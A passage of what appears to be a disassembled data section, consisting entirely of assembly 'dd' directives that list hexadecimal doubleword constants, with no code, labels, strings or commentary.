0A7B28BFFh, 136E43E6h, 369816CAh dd 0B0DE1491h, 0F4B8682Dh, 2BE2F1E6h, 4F0998A3h, 82494F6Ch dd 0DFD21404h, 702BBCA7h, 897C8DEAh, 20607D90h, 6889CE1Eh dd 0C0C168A2h, 98B81ED1h, 0F75FC11Eh, 0D0FC1B61h, 22B67647h dd 40164F13h, 8C007337h, 57C462EEh, 82CF5E5Ch, 61A0BDFEh dd 8EC83D3h, 40D8E413h, 60063F80h, 0DA684E5Ch, 0FE251F93h dd 22DBCF43h, 5F4AF7BDh, 89EF5F1h, 961E4437h, 567B3E87h dd 63FC10F3h, 21D6B90Bh, 0F6046F44h, 4C003152h, 0FBD800C6h dd 0A38CC98Fh, 0E39A661h, 0D00BDCD9h, 0E86182ADh, 0BED0E77Dh dd 164C4FBBh, 0AC2CBBF9h, 0C4DA5AE4h, 0A5914A8Fh, 4295123Eh dd 237F5937h, 9A62F23Dh, 0EE1ADAE2h, 0EB27DBB8h, 796EF459h dd 62DABA35h, 1FCC5EE5h, 396E0F5Bh, 0BB9957EFh, 20233C89h dd 3E79AE89h, 3BC0CC1Ch, 23FF7AE9h, 39AAB06h, 0C53C6AECh dd 0FCA01097h, 4E436003h, 0A10DE2BCh, 1D0DFA34h, 93B7A0F4h dd 5BF85A20h, 0EA2A7FE7h, 26910EB1h, 9F978A1h, 0B0F6B7B9h dd 0B64967E5h, 6A8A4BAAh, 8834D0Ah, 15F85Ch, 4FB8DFDEh dd 2E7606D9h, 645C5720h, 7C212418h, 0C93A73E9h, 0F1356B35h dd 0C0171B5Eh, 0E309F61Dh, 0EED2D4A9h, 0D782A218h, 0F69FC552h dd 0AA083BD8h, 20BBD2ABh, 5FB1EEC7h, 627EDC80h, 0AB2026F6h dd 0CC8498B0h, 0C021D3CCh, 820E0AE3h, 6E374CEEh, 471B8A2Eh dd 5B72106h, 3316BEA7h, 7982FAA1h, 60BC2CE4h, 2979968Ah dd 9F255151h, 76EFE8E0h, 0DB10CC0Bh, 5907F8B9h, 0C8F80EDCh dd 85BEC77Ah, 12C0E248h, 157CFA1Fh, 7DA3B68h, 0ABD9581Fh dd 0E2BA1248h, 1FCAC52Fh, 0B492D34Eh, 207D5FEBh, 0E07569E8h dd 79627B03h, 0AEE1A22Ch, 975F4722h, 2F257C04h, 0EE711714h dd 0E0FAB2DBh, 895226A7h, 4B41201h, 0C791AE62h, 5BE871DFh dd 2755117Ch, 4E18EB8Bh, 0F2193402h, 27924E44h, 0B4AAF36Fh dd 5934B487h, 3EFA7174h, 0E087DFEDh, 2DA894CAh, 0BBCD61FCh dd 68CE2E80h, 77EEB79Bh, 5B8FE7B4h, 52520DBEh, 0A90B9897h dd 0D6F7B071h, 0F278CC6Ah, 274ED0ABh, 0D5BA1AD8h, 71AB7743h dd 735C7C2h, 0C1E2096Fh, 0CAABE335h, 0C5787E3Eh, 0E35A23F7h dd 0A1200455h, 307327A5h, 0CE04DDB8h, 9DA63601h, 898E7836h dd 0D1B451ABh, 9B19D640h, 50FE1884h, 55B37CCEh, 96518CEh dd 19C30B9Ah, 0EEB7A626h, 0C0E494A6h, 8E9E741Fh, 0FD442B42h dd 0D543202Fh, 2F8E94BEh, 0F1BD565Bh, 85DF6FC3h, 71097C85h dd 9BD66632h, 0B3C0B8F0h, 3B8A2CA9h, 4FBCD865h, 0A8AA75BBh dd 1963F18Ah, 24716C8Fh, 23D6B0AFh, 61EB8454h, 796D8BF4h dd 81710A36h, 0C33567ABh, 52DA0844h, 2067BCEFh, 0C1D5195Ah dd 5154765Eh, 893FF8D4h, 0EA3D407Eh, 805A6D0Fh, 0F278B2E8h dd 0F0DF7E96h, 3BBCE59h, 23E7AB0Bh, 4532D324h, 0CEB45C2Bh dd 0AFA0ADE4h, 6400C91Dh, 3DF9FD6h, 83185DD0h, 64268127h dd 0E0B334C6h, 0FEF684A9h, 0A79F16ABh, 1545394Bh, 89D147A0h dd 9632E4E9h, 0B876FA1Ch, 5EBE70B1h, 0B373CDC6h, 0F07B2655h dd 0B928E1D4h, 0E8DADD39h, 474C4004h, 0F7235825h, 0CAA216E9h dd 15CD1576h, 947EB531h, 0A6CB5C08h, 8FE1182h, 1EDC8523h dd 956F00FBh, 7C4AA645h, 0E738BC3Eh, 54197377h, 0D84A1408h dd 7EF42DC2h, 233D65A0h, 10F2A810h, 68027D70h, 6FA306DDh dd 0EABBF4E8h, 8887B2DBh, 7AEE5984h, 6730125Ch, 1AC32B2Eh dd 2BD00B37h, 982C0D4Ah, 0B10A592Fh, 0B5510FFAh, 0F2232DD2h dd 0FC7E01BBh, 0A7E194FCh, 0D47D9DBAh, 247F00A4h, 3BBBE6C6h dd 39B4CC5Ah, 0DD5566C1h, 78D22C8Ch, 0DBC62AA3h, 4B65A696h dd 46BA07Dh, 0A16550C0h, 9586745Eh, 22A96526h, 8B355314h dd 0C396C47Ah, 955A2913h, 99F35D45h, 0B7BC6CCCh, 2E4FBBB4h dd 9667D9FBh, 0C7F6A666h, 9F7C0E7Dh, 9C98231Ah, 0B5EB3FA7h dd 7A42258h, 45F2CAEEh, 5CA29790h, 0B9B54A88h, 0B134E3C5h dd 40AF2C90h, 855C9941h, 2470106Ch, 313D759Dh, 0F1669D98h dd 0BD618CAEh, 0FB8FB910h, 67330346h, 0CB5BC2F2h, 8E4366DEh dd 2AE088D5h, 93D3A435h, 6A124E1Ah, 1AAAABFFh, 815211AEh dd 39902B2Dh, 0B0D8B4F5h, 1B06322h, 27BD6639h, 7B4FB492h dd 92B1A042h, 61912832h dd 0FFD5ADF3h, 0A66ECFEh, 78F58145h, 0AFB8D363h, 9DD951B7h dd 99D0E530h, 0EE1235F2h, 9046DB94h, 7D257191h, 0CEBABB8Dh dd 3F94A7FFh, 97B2069h, 515DD9BCh, 0A72F99DCh, 219E55B9h dd 2145870Bh, 0C3AD076Ch, 8FE712AEh, 8D10587h, 6AAFB95Eh dd 1E24FB7Dh, 0F0DED6B4h, 6D48D7C9h, 9AFE2863h, 0B0269F17h dd 64C36981h, 5E3F32A3h, 4E01695Dh, 7EDF1B36h, 0C8BA3324h dd 6D2F834Eh, 6A6B8796h, 5658CF66h, 35E734D9h, 3B65FFB2h dd 37783A56h, 0BF543D46h, 48AE3162h, 0BD87328Eh, 0A2017A9Eh dd 0FF42C5DDh, 98022DC5h, 0FF6E0471h, 15AA13C0h, 70FF1063h dd 77EC2837h, 0EE9FFA59h, 0AD85D3C1h, 0F18CF781h, 4C9374DBh dd 3765EE31h, 9F697551h, 48591C78h, 0D79F27D2h, 825FC683h dd 0D04EF876h, 98F627C4h, 0D549AE48h, 7FB60C21h, 0A99E6EF5h dd 8AC495F6h, 8DC762A2h, 2080AE32h, 0C332757Bh, 4A3A446Eh dd 0FFE71C71h, 0C8944FE2h, 552FCC2Bh, 91A09467h, 3A0ED6BFh dd 0F15AFD3Dh, 76777007h, 0C8263142h, 0E02C03BCh, 77513E59h dd 0CCFC55A3h, 0D4AEAC83h, 0DD2A2C1Eh, 0F01D5DD3h, 2DC960C4h dd 2E7A38B8h, 0C533A9Ah, 0ABD3E87Bh, 484422E6h, 0FB5F78B1h dd 8593826Bh, 439D3703h, 24424AB2h, 568EF4AFh, 179ECE8Ah dd 43AB62C4h, 9E446407h, 1143CA16h, 62573AE6h, 9E24EB70h dd 52722F83h, 0FBFCDA27h, 0B03D4F0Bh, 480EA562h, 0D72DD78Ch dd 3C81831Fh, 92C0F86Dh, 2FD18921h, 29752CC7h, 0C775A878h dd 98FF225Ah, 1760E32h, 0B713FA60h, 0E5ADBB79h, 672A2A24h dd 0B35AE03h, 26C14907h, 69C76CF0h, 5027D19Dh, 0BDCD8E99h dd 96CBB453h, 0B5A306F4h, 0FA99A15Ch, 4E9A8D01h, 0F5280E04h dd 3D7743B6h, 0CC1D36FEh, 0C1C6731Eh, 29F63196h, 3C364E1Bh dd 0DD5382F1h, 0E811AF2Bh, 2279B58Ch, 4ADC195h, 69BB2FAEh dd 0D40AF7F9h, 406DA834h, 0A50B4C52h, 9C69D57Bh, 2C41639Ah dd 0B39677CCh, 316E37EDh, 480E2E21h, 0F1FCB17Bh, 7D2B68BFh dd 4AB7D242h, 0E68E77CFh, 0D57C71CEh, 26167B96h, 0BC99D32Eh dd 0BC1D005Bh, 3AE3EA7Bh, 14E962C8h, 0D4007D07h, 0FEAFA5D6h dd 2B74619Ah, 0E3698D3h, 0B9DB13F9h, 0E45323BCh, 362F4077h dd 58AB30A7h, 5B1C28DEh, 2A2AD261h, 0B916F842h, 1F53BC54h dd 1D91B4DCh, 0FE28F2ADh, 0A40BBD21h, 476C9376h, 774F712h dd 7F2383E2h, 8667A524h, 96D18517h, 0B44050B5h, 0D181A80Fh dd 4CB0768Ah, 5C3A71F2h, 0DACD1D99h, 3E19E47Eh, 664B7DB5h dd 0F91D2B77h, 5BFE6283h, 1934E5D2h, 73EB6E05h, 2B1ECABAh dd 0DFC1C7B4h, 0ECE5867Bh, 0A4D563BFh, 538AC0ADh, 0BD7D32DDh dd 0D0F4AAA8h, 0B29EC00Fh, 7306F1BAh, 0BC9DF7C0h, 6A16D1E9h dd 0A80D9B3Eh, 4DDE4D7Bh, 878576CFh, 4B39DE81h, 5C1016D8h dd 1E770EC5h, 0EFABFFCFh, 3F883032h, 6E3353DEh, 10C9F411h dd 96F07C5Bh, 5E222E92h, 33E043FCh, 8E644BF9h, 0AABF02EDh dd 7064F358h, 0D220BB8Bh, 30DE4AD1h, 0D50C989Dh, 0FC6FF87Dh dd 68CC9AA4h, 0CFCA50A9h, 0CCFF2670h, 1342389h, 461C85BAh dd 7E9CF43Bh, 4C4880D4h, 904C81D9h, 0FE4D61BEh, 54C57402h dd 1E24CCA4h, 376D9CE2h, 195DC7D6h, 1A5A5C51h, 0E69BBF65h dd 0B3F204Ah, 328545CEh, 0EC6DB24Dh, 965C4404h, 2EB3CE29h dd 0BDA33638h, 5DDCC033h, 41769A97h, 11A31108h, 0E35A6C26h dd 35EBDA5Bh, 6D8E9C2Ah, 6F74CE00h, 896FBC0Ch, 0F1283AD1h dd 0AFBF30EDh, 0B4FB337Dh, 0A2BBA13Ah, 0DA3994AEh, 0B9CC13C3h dd 9A465913h, 0D1D738C9h, 0E8FF0C0Eh, 5981C84h, 0A669D4ACh dd 0E84E86C6h, 82DEDE31h, 10FE9EC9h, 0EDBCC22Fh, 0D8254F4Bh dd 4C2244E4h, 286DCA0Ah, 0C4C6D3FCh, 0BD300841h, 701177AAh dd 0D1BC2158h, 373C027h, 9B2EE6Fh, 415AA491h, 3BE0E8Bh dd 49C5986Eh, 0E2F26B41h, 5A71E84h, 0E4F954E5h, 74F6E7E0h dd 54F67CE8h, 0E04205B2h, 0BE722492h, 357F292Dh, 3CF5E502h dd 0F16041E2h, 0C484D57Ah, 7AA85540h, 0CB4EBE86h, 0AE72B02Fh dd 94B2D036h, 591C303Eh, 9FDD3C1Eh, 2DE9B82Ch, 817818EAh dd 2CF87B28h, 0CF6A9D13h, 0E9587323h, 99394F15h, 85B2AC24h dd 0E9F53153h, 0C1C0982Ch, 57926D8Dh, 37EC472Ah, 745BFC1Dh dd 473F8A0Ch, 0D176A570h, 9CF8F3E5h, 893D7770h, 0FAD2AC15h dd 921501E5h, 76C2B489h, 0E07AA27Dh, 216F83A4h, 0E05921F3h dd 1D0735E4h, 0FA1FB612h, 880FA507h, 0A83DF65Bh, 3F93D224h dd 0B28AAD2Bh, 10785B15h, 0F8190613h, 0F956DC53h, 1CAB3AC9h dd 6AD18C30h, 47913843h, 0D349BD9h, 0DC18BC1Ch, 0D25DECCFh dd 422CEC1Ah, 61F739C0h, 0FFF7434Ah, 52DE7C2Dh, 7AAC4AD4h dd 48769606h, 0A9034C5Dh, 0E2D9BC2Bh, 0DBB421DAh, 1903C059h dd 401ED416h, 4F8BDFDh, 0CF791CADh, 93AD96B3h, 0C7BFDC83h dd 5CBFBAD5h, 4ED36943h, 7E26D2EFh, 0D10CC0F4h, 272F96C1h dd 3690DEB6h, 950ABD8Ah, 5E6FC4BEh, 62EFA266h, 0C9FAD010h dd 0D1B3F215h, 18D1722Fh, 59D05427h, 0B375ED73h, 6A52695Fh dd 57E6FE3Eh, 0CCDB716Dh, 9BB6C9CBh, 40506F45h, 0E0C8A4A8h dd 557F4937h, 81686A66h, 0A61B0431h, 0E40FF48Bh, 0CFDF2276h dd 0AB14B74Fh, 0D8D60C0Dh, 0EAF0D48Dh, 0A3621C27h, 0D166D2F8h dd 9B2B2C3Ah, 475BF7D7h, 64360BE9h, 6A328C4Bh, 522E91D1h dd 47B82FDFh, 5FDFE95Bh, 9A536CD0h, 3CC475CBh, 0B4022385h dd 0CCEDE4E1h, 0A2A2FC79h, 43710725h, 0D9409820h, 48574418h dd 0F9D11D1Bh, 0FA340F96h, 374E8F62h, 616E3CAFh, 0ADC952Eh dd 56944202h, 0E0847647h, 6F34D2E4h, 3C5AEBABh, 61C97C19h dd 0E66C16B2h, 8891CC9Eh, 0B8B31416h, 0E05ECA19h, 59AEFE98h dd 94921D85h, 1AF7BFB2h, 0A5228D70h, 0F2257164h, 33ED3A1Dh dd 43D45E77h, 49BD84EBh, 7C7C9E9Dh, 0F43426EFh, 64BABCBFh dd 29D0D588h, 27191BF6h, 878407C9h, 7AFC8A82h, 7FFC59A9h dd 0F9092F1Eh, 0DB7BE165h, 3EB19379h, 2A9A61F0h, 0ED8A8882h dd 6585AAE6h, 0D72F4459h, 778B44DAh, 21D5D7ADh, 0AA49ED87h dd 2088EEFBh, 72DA40B8h, 39C313E0h, 2CCAEE4Ch, 0AF59AD47h dd 0AD17101Ah, 1EBB8C27h, 0C6A208CFh, 0EB314897h, 0CCB60F95h dd 96F31F3h, 0C14CDF6h, 68EDEAF4h, 4E483B2Ah, 0F3472217h dd 7E42D1C5h, 0D58E4C75h, 76579D8Dh, 0DE9A66BAh, 1858CB84h dd 81AA0DCAh, 677060C5h, 0F5803884h, 0FCAF656Dh, 95D6CB24h dd 947FEB32h, 0BC3E4329h, 0B845B03Bh, 78145201h, 5ECD8A42h dd 85313C13h, 0C6C0FBDBh, 5DC27C0Ah, 4FB7B60Ch, 0DABDF29Bh dd 174A8207h, 4B252068h, 0A2C2A6ABh, 0F65B3AFFh, 0EAF2E315h dd 787B7C8h, 1CE339FBh, 0AB0BED69h, 6F9DB68Dh, 197E57EBh dd 73D28A46h, 704E7FA0h, 0B27C187Ah, 7D83CBAEh, 0ED7C00A3h dd 6A9E8A6h, 2C231162h, 26838416h, 0BF2347D6h, 85A6CAD5h dd 3D6B9420h, 0A58F6E42h, 948EBD4Bh, 393CBA9Fh, 0C099CAEDh dd 55FEE3A9h, 8C2A35D8h, 4769021Ch, 2E9FC7A6h, 52FC9559h dd 48682DEEh, 5B2C9D93h, 6AD37659h, 28856EEBh, 606266DFh dd 10900374h, 5C9946E0h, 4E18AAF8h, 0AD3844BCh, 0E05F6E44h dd 9AF23B0Dh, 0F45306FAh, 0CD86871Eh, 7A5FE801h, 0BA2B23BDh dd 21AF91EFh, 60CD0BB5h, 4E87BC76h, 8FBB5F87h, 4F5B9FD2h dd 1FADF0E2h, 651196E5h, 2D065BEFh, 6A0064Bh, 0C364E27Eh dd 636E273Ah, 7F7B25FFh dd 0C154017h, 834DBDC8h, 9D3932E5h, 202CDBACh, 63046298h dd 0A7957F7Bh, 8F15BED7h, 47F6F4EEh, 86595623h, 0F094E6AAh dd 580B8BEAh, 0B936B8E6h, 0A086E696h, 356B9241h, 93E441D9h dd 0F454464Ch, 26490D9Ah, 7E09CBB7h, 0A69A5D5Dh, 0A6955308h dd 17B3856Dh, 85F5FCBDh, 0C10ACE34h, 3449BC4Fh, 4B964703h dd 0ABA36C4Fh, 881612C1h, 8036F72Dh, 88651785h, 27616F9Dh dd 2B4FA3E6h, 0AE6F21D4h, 0A7CAF5FAh, 8F825727h, 0E8A05507h dd 0F58F551Bh, 4E784EFEh, 2ECE4AFBh, 0A53CE0CCh, 99062B13h dd 77967291h, 78FFF944h, 0CD3C7863h, 0CE7EC72Fh, 759CB5Bh dd 413C00AEh, 57DA3670h, 0FB9F952Dh, 0D5764522h, 9AF846h dd 80949837h, 0E6509E8Ah, 957C190h, 784808DFh, 629FF1A1h dd 2FF3B627h, 662951B9h, 64D2FE26h, 996D810Ch, 970A58EBh dd 6EA832A4h, 780F53DDh, 0AD6F22D4h, 0C6CF4DC3h, 64F8B9C4h dd 0A2F26CD4h, 523005CBh, 86AC92BCh, 9A85B7CAh, 6708D3AEh dd 0DC2EF09Eh, 0B6B7C9D3h, 5ABFDE5h, 39C1E385h, 1B04C47Fh dd 0D722585Dh, 6230A5C8h, 0CAB7AAAEh, 4C76B7A5h, 598BB10Ah dd 0ABB9ED23h, 0E9C05DA2h, 0A30548CFh, 0F66837A2h, 0B49F3E88h dd 0B5168895h, 0A208932Eh, 618CBB83h, 31F4990Ah, 51FBCA3Fh dd 4671465Ah, 0D468DB5h, 0E602A8Eh, 121CCDDFh, 7CA7D9A6h dd 6D5B91ACh, 0F66229BEh, 38FBCF97h, 60ADCACCh, 82BD50ECh dd 0BD6B0DABh, 832CB8D4h, 0CB077511h, 0E353161Fh, 0A68DFFC0h dd 0A1D312F1h, 5CCB918Ah, 0EF06476h, 0AA38FC55h, 37B7219h dd 0B4267157h, 87552068h, 3111D3F3h, 0DD44921Bh, 322604EFh dd 159C4835h, 0BC893D35h, 4D764ADFh, 5E8BF908h, 83943A17h dd 7554E2Dh, 0C2780749h, 332B543h, 6907C8F5h, 72F3800h dd 0EAADF433h, 94C228D5h, 692FD610h, 2AF35FC6h, 879E43BBh dd 50E7A97h, 35C259DCh, 22E19D58h, 3FB1B29Fh, 62A75952h dd 0BECCB001h, 37CB3B1Ch, 0FBFA2227h, 19468EC8h, 991E4629h dd 0BCE4589Ch, 0FCC027AFh, 7E81FAD2h, 0D3A9C68Ah, 82CC6C3Ah dd 0B314F0C3h, 30D449B1h, 337171AAh, 2B51819Fh, 1568A81Bh dd 0A615599Eh, 37454EA1h, 26667E09h, 7C6AA84Ah, 629B541Dh dd 297ADAE8h, 0D5CE5164h, 727F2B30h, 446E717Dh, 6E2D12Ah dd 4E45900Bh, 28D7300Fh, 38A1C77h, 0C6FEF44Dh, 233AC3EEh dd 943A8160h, 9AD948Fh, 0BD73B6D7h, 0F48D2259h, 0CBFA60B9h dd 0EDEC9920h, 72DDA342h, 0F333CF2Bh, 258A0F78h, 81BE323Fh dd 0C0900EEBh, 0C83E161Dh, 395BE2A5h, 47FD5AFCh, 2CCC77E9h dd 9E64AF9h, 0F82B4AA7h, 0F5C71F42h, 2B1C580Eh, 8FE169BCh dd 5EBF3137h, 53782E22h, 40029ED2h, 44C49EE4h, 93A2D1EFh dd 1DA39EE2h, 1FADF57Fh, 0EE5D9D1h, 7FF98565h, 0A599221Ah dd 0B7830F64h, 4190A377h, 3DB89208h, 79F04FD6h, 0A93F509Dh dd 25361563h, 531A3C39h, 0C528FF19h, 4D72E1F9h, 0D58FFBBCh dd 49E0DDD9h, 0E0E199C7h, 0AFCB4768h, 0AB44A7ECh, 0A1EC603Fh dd 2800C62Dh, 8603A1FEh, 0F90C787Fh, 112C75B9h, 9DA5D14h dd 0BAFC6D06h, 0FBDCA8Ch, 824E7F78h, 1DC9D1FDh, 0F065A1BCh dd 8B19F97Eh, 5CE6885Ah, 0ED1DCAF4h, 8E45608Ch, 5D65B969h dd 0C35CA597h, 625340EAh, 25872D2Ch, 47B603BEh, 336AE5A4h dd 8F1DF8EDh, 1D7FF80Ch, 0D6DB52B3h, 5BA3D870h, 3305F471h dd 1E1232C4h, 8017080Eh, 779C24BBh, 625C94C9h, 0ACBACA9Dh dd 0FD3330A3h, 0C750358Eh, 0D883C46Dh, 0BB315E39h, 587B499Ah dd 9ED69444h, 0C3CE8157h, 0E6F43732h, 8D91DA96h, 3FB60C49h dd 0B654C3D9h, 58990648h, 2EFAC287h, 2A55BF9Dh, 9BC778A3h dd 0F1E4441Eh, 81D7022Ah, 0B68A4F9Eh, 3A3A3A80h, 944D3125h dd 11A437E8h, 2EA975ECh, 351E6E08h, 9B2A3E40h, 0F9A0B0C8h dd 7C5F2D93h, 8E0897EDh, 0BF5B525h, 79853749h, 0BE42655Bh dd 76D063D5h, 2DB2DA92h, 0A9D27645h, 47912AF0h, 73EDB986h dd 19D74318h, 0DD954621h, 92829053h, 1A6F5986h, 7A5818A7h dd 331ABEB4h, 0A7763055h, 24EEA27Fh, 5BF5EA2Fh, 86D6622Dh dd 7533CC2Ah, 2684A9BDh, 0C08F6082h, 0E64B166h, 0C2DD692Ch dd 0AFE743C2h, 838D279Fh, 1739B35Bh, 0D0D17E2Bh, 3E02E5F5h dd 214B2781h, 8E0AB1Fh, 0E7CEEDABh, 4C7E8D0Bh, 85E30CE8h dd 9EB49ACCh, 0BF6973B8h, 0C027941Bh, 0BA4B816Ah, 717BFC31h dd 0CF859B6Dh, 99E0F531h, 0BBB4B45h, 90DC9DECh, 0E3486C25h dd 0CE635232h, 3512015Bh, 0AAAF3BB3h, 9331C5A4h, 2A61ADD2h dd 33E3B6Dh, 560DEEAAh, 8260EC9Eh, 0AE5A6688h, 0D32F720Dh dd 0D0A29DEDh, 0E330B55h, 36953E56h, 0E2960426h, 666257CEh dd 0CC815E3Ah, 29D07965h, 8BD5D69Ch, 55917033h, 0B0970AEBh dd 9472213Fh, 16EC9110h, 0FF63E55Bh, 9E5B79C4h, 345C0536h dd 0D7E99A61h, 0E906A107h, 15CC60DDh, 0C62413E4h, 8312AB34h dd 18992578h, 0E8EFD9C9h, 0F3B45E33h, 33A19936h, 3B7212E4h dd 0DB6616B0h, 4AD087B5h, 0CEEB8A7Dh, 0ADB7F6F7h, 0DBCDA0Fh dd 3BD1C811h, 4CAE852h, 0AE97EF96h, 0EB4682A7h, 0B24C5904h dd 6DF3B4BBh, 3EA108C8h, 0B5BDC2CEh, 0CBF21F4Fh, 3CF15E0Ch dd 59340F47h, 5A876B1Eh, 8163BC53h, 4ACF8700h, 0FDE9C259h dd 96A61965h, 5D6C5262h, 35788432h, 4879DFC9h, 2D6B6CE8h dd 0EF101F8h, 895EF5ABh, 72EEB007h, 0D8A09C99h, 0F2885C13h dd 3A697C57h, 0B49A88CFh, 3785EAE7h, 0F0204238h, 5B85079h dd 94AAB8F7h, 0CDB90128h, 0E10FC01Bh, 0D5E07A1h, 95B7CC94h dd 9F88FC05h, 0D645049Dh, 0B21236FBh, 78F30E40h, 0EF29B419h dd 53445B68h, 71E744FAh, 0F7DEBB1Eh, 0AF8EBBAh, 8B71CE0Ah dd 0DE881485h, 4B7E86B4h, 0EDF9ECCh, 0BC82F794h, 0DE216F66h dd 7708CD99h, 1099A18Bh, 0C78BED2Fh, 0CEEFE41Ch, 0E3E954B8h dd 1A563924h, 0DEE3542Bh, 68962FB9h, 0F05AC0E5h, 0DEC9841Eh dd 92272E04h, 92EDF9F9h, 5C1B8377h, 0C366F377h, 9CC28902h dd 7550A420h, 493E56BFh, 24FD5225h, 927755EBh, 55ABC3B2h dd 0AC3EA02Ch, 0CC37B4D3h, 8EE8EC85h, 0C9C19998h, 8AD46DB5h dd 0BE3B8E19h, 6790FE18h, 602A5C45h, 0EBFD314Fh, 9F526F80h dd 245DA959h, 22231CBFh, 99A8934Bh, 1DCBBC48h, 95AAF32Ah dd 17131342h, 0A5557B6Fh, 27214880h, 742E662Bh, 6BD8C9D9h dd 33A8AEE2h, 21B888E3h, 53F616E5h, 0B5808A1Ch, 3532C53Eh dd 0E75B7EC0h, 0A43322CEh, 0C50B84FDh, 7DD7AEC5h, 0BACCDC4Ah dd 0B45C2810h, 538B1EF8h, 35691E78h, 0D9C80C83h, 0DFBE4C68h dd 7EC2C5D9h, 1F772C12h, 0CB077C8h, 1E42CCF0h, 0DA2E5A32h dd 5ADD2A34h, 32A54CEAh, 0D38B91C3h, 10739045h, 0D261B195h dd 3D6D1696h, 98DF14A8h, 0F5F2AFBFh, 8B3B7C11h, 0BE3D1D53h dd 0F8D72A62h, 20D36B1Eh, 38B45DDFh, 1FD3CB5h, 15DFDBBFh dd 12D942A9h, 0F1C81868h, 0AC55F62Dh, 6F71E43Dh, 3F4C21D8h dd 3FE8DFD4h, 26854FCh, 0ED30FAC9h, 0D6FC43D5h, 7BC7E646h dd 27EDCA0Ch, 4EC2EEC8h, 70A898F0h, 0E296F6Ch, 0AD184947h dd 90BEFFBCh, 0CE0616D6h, 0C80E948Eh, 0E17F5774h, 70B4E9DEh dd 4A2C8920h, 32D5F0ECh, 0D22CCACBh, 2E543453h, 9743719Fh dd 0C33962E6h, 0FE2B73D5h, 8967D08Dh, 738AB5EDh, 83F895C6h dd 45D93107h, 2AD0F9Ah, 0BA00F80Dh, 0C07D7CBCh, 10679FA9h dd 0F062A788h, 3E377852h dd 0C54861B0h, 7BD5C4CCh, 0EA9444CCh, 31AA8AE3h, 6594A156h dd 6295201Ch, 0ACC69C43h, 0D6BC79AEh, 0AB7FDD6Fh, 1212A7D6h dd 94AD6F9Dh, 7D90AB92h, 66EF1821h, 4949602Ch, 67660A32h dd 0F7FB938Fh, 0F3C09060h, 88306415h, 7D9006B3h, 6BED6771h dd 0E7DB2140h, 23E55E7Fh, 645EFDD6h, 0BDB65326h, 6E714164h dd 40D95F97h, 0E56756EEh, 2217224Bh, 0D2B8930Bh, 8C5CF64Ah dd 0F45B943Fh, 2959DD91h, 81D43CCDh, 4416629Ch, 9ACA6B4Bh dd 9DD1D3FBh, 0C933C08Ch, 0DDF0EAFBh, 0E4EFEB57h, 42DB34FBh dd 0C2D56A58h, 954F95E3h, 2AA48F46h, 7EECD5EEh, 6653CD83h dd 2B883308h, 2485B9C9h, 4B3F72C1h, 0A4EFC456h, 434C896Bh dd 8F592E3h, 1460FF27h, 478895F3h, 71DDDE6h, 2603C28Bh dd 4E2AD4ECh, 5E5B8F64h, 72EF5B28h, 3AB7FC88h, 0FEDD6C78h dd 0A3E3AE91h, 6209B3D9h, 0C3A6E5C8h, 0A2318893h, 15AE4301h dd 445C21A6h, 418A698Fh, 10136FFFh, 5BF6434h, 22CF2049h dd 6A4A6CE4h, 0A57C875Eh, 0B61082D2h, 9C0428A4h, 0B8717DBEh dd 862364E3h, 8352D5EBh, 0F8D26B67h, 0AD938A62h, 5AB69951h dd 7B0F5021h, 5AA5D0E1h, 0E270EB0Ah, 34ABB254h, 0A47F11Ah dd 7DB6E54Ch, 0EAF4B67Ch, 5A9B8751h, 0C0CC83DCh, 607527CEh dd 1784E308h, 194088C3h, 0D34B7BFDh, 6E48AFF7h, 4F2D0272h dd 89C43417h, 73002BB0h, 0A52743CDh, 0C5E8D718h, 39DD8445h dd 400C761Dh, 3FAF25DEh, 0A2437505h, 48B1C350h, 0A5D4B147h dd 0DCE6AF09h, 82247E38h, 0DAEDE193h, 0F8723175h, 57F0458Ch dd 0A8522808h, 76B08BB4h, 187DA445h, 593BC07Bh, 0AA43473Ch dd 93B2253Bh, 21D56D6Dh, 0C718EA25h, 0E06C5D39h, 450BB367h dd 0C049C4E8h, 9FFAD64Fh, 0AE916D1Bh, 4DE1488Bh, 89605144h dd 0D6DF95EBh, 47E0657Fh, 14586114h, 0D45C4536h, 0AB7B93B7h dd 21EB0438h, 33AE0197h, 970A43DBh, 4FDB5E2Ch, 21AC7F1Eh dd 0C925F22Bh, 0BDC713Dh, 0E6C7C9E6h, 0C0BCBFCAh, 0B8849131h dd 5CB7B006h, 927B3F8h, 0B571E72Bh, 0C3705A2Fh, 13CAB28Bh dd 4B6A8827h, 97D5E781h, 0E21ED0C3h, 810E8BCFh, 689573DAh dd 0E2569D5Fh, 32AB2D9Eh, 78C6C8Ch, 3B5D235Ah, 3F7DDB30h dd 0B8BA720Bh, 0A004E3F4h, 3651A838h, 25FF2999h, 0FD7EBD60h dd 7452FC38h, 0FB7083Ah, 0D9F06891h, 77512772h, 7336DA4Ah dd 75B1BC5Ah, 0BF4629C8h, 4E396F2Eh, 6A70B908h, 6DE0FB4Fh dd 810AEF91h, 9016DEE3h, 0B9FEB2A9h, 0AF1A1798h, 0CEEAFB5Ah dd 1511FB01h, 720289FAh, 31B79302h, 85AC8C52h, 212DD0Dh dd 0A2F65DF1h, 0BE53E532h, 0EDE55F08h, 0D92922D7h, 14527FD6h dd 2DA3D919h, 0AFF85785h, 0FBEA0841h, 0D0F51429h, 8EB55766h dd 20A1574Fh, 41411579h, 0E459D1EBh, 0C4AE5D7Bh, 203A3494h dd 0A68AE911h, 0AEF1CF3Ah, 633F0EF3h, 0C9F55C96h, 0F56E1EADh dd 231A63BAh, 728A72BEh, 9FB17F1Ah, 53640AA4h, 0E6D318A7h dd 9007E3B0h, 0E485EA0Ah, 954AF423h, 0D4BB5F0Fh, 0D35F20DCh dd 820622CCh, 813FA5CEh, 56B4BE37h, 97E951F4h, 6099FABh dd 0E5E6CCDBh, 0C9C2A6E6h, 61F54E84h, 3228AFB4h, 0DCC09689h dd 44E61465h, 6262CD83h, 7B51CFB2h, 1F8610FBh, 452AC747h dd 4CB837FDh, 0BE87ADA6h, 0E575CA5Bh, 1CC6AE89h, 0BFBF1716h dd 7F9BC81Eh, 0A20E710Dh, 76AFDB61h, 0DD1B69ABh, 3CD759ABh dd 128C535h, 0AA280F1Fh, 0A347ADA9h, 0BFFDC568h, 1FB32E2Eh dd 0E358CD25h, 95628DE0h, 0E2EF649h, 59AEF68Dh, 0A9FF6B49h dd 0BA354444h, 0FB41EF90h, 0B1054791h, 58A73F9Eh, 49952D70h dd 0EC6ADDF0h, 0A5D49673h, 0B6ABCE78h, 73BF5711h, 6E6C780Ch dd 0B9E2A008h, 9A2F010h, 0CCFD9539h, 3116CCA2h, 8B815263h dd 0FA4A38A4h, 2F7B5DEDh, 